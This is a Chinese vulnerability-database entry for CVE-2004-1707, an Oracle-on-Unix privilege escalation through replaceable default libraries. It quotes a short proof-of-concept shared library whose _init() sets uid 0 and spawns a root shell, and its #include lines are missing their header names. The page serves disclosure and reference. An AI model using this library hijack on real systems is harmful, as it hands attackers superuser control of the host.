Oracle数据库默认库目录权限提升漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1108094 漏洞类型 配置错误
发布时间 2004-07-30 更新时间 2006-05-01
CVE编号 CVE-2004-1707 CNNVD-ID CNNVD-200407-099
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/24335
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200407-099
|漏洞详情
在Unix系统平台上的Oracle8i,Oracle9i,和OracleIAS9.0.2.0.1版本的(1)dbsnmp和(2)nmo程序存在漏洞。该漏洞在提高权限操作时使用默认的路径找到并执行库文件,并允许某些Oracle用户帐户借助修改libclntsh.so.9.0版本提升根特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/10829/info

Oracle database implementations are reportedly prone to a default library directory privilege escalation vulnerability. This issue arises due to a default configuration error that will permit the attacker to replace libraries required by setuid root applications with arbitrary code.

This issue would allow an Oracle software owner to execute code as the superuser, taking control of the entire system.

It should be noted that this vulnerability only affects Oracle on UNIX/Linux platforms.

#include
#include

_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
setuid(0);
system("/usr/bin/ksh");
printf("Saliendo del Init()\n");
}
|参考资料

来源:SECUNIA
名称:12205
链接:http://secunia.com/advisories/12205
来源:BUGTRAQ
名称:20040802OPEN3S-LocalPrivilegeElevationthroughOracleproducts(UnixPlatform)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109147677214087&w=2
来源:XF
名称:oracle-libraries-gain-privileges(16839)
链接:http://xforce.iss.net/xforce/xfdb/16839
来源:BID
名称:10829
链接:http://www.securityfocus.com/bid/10829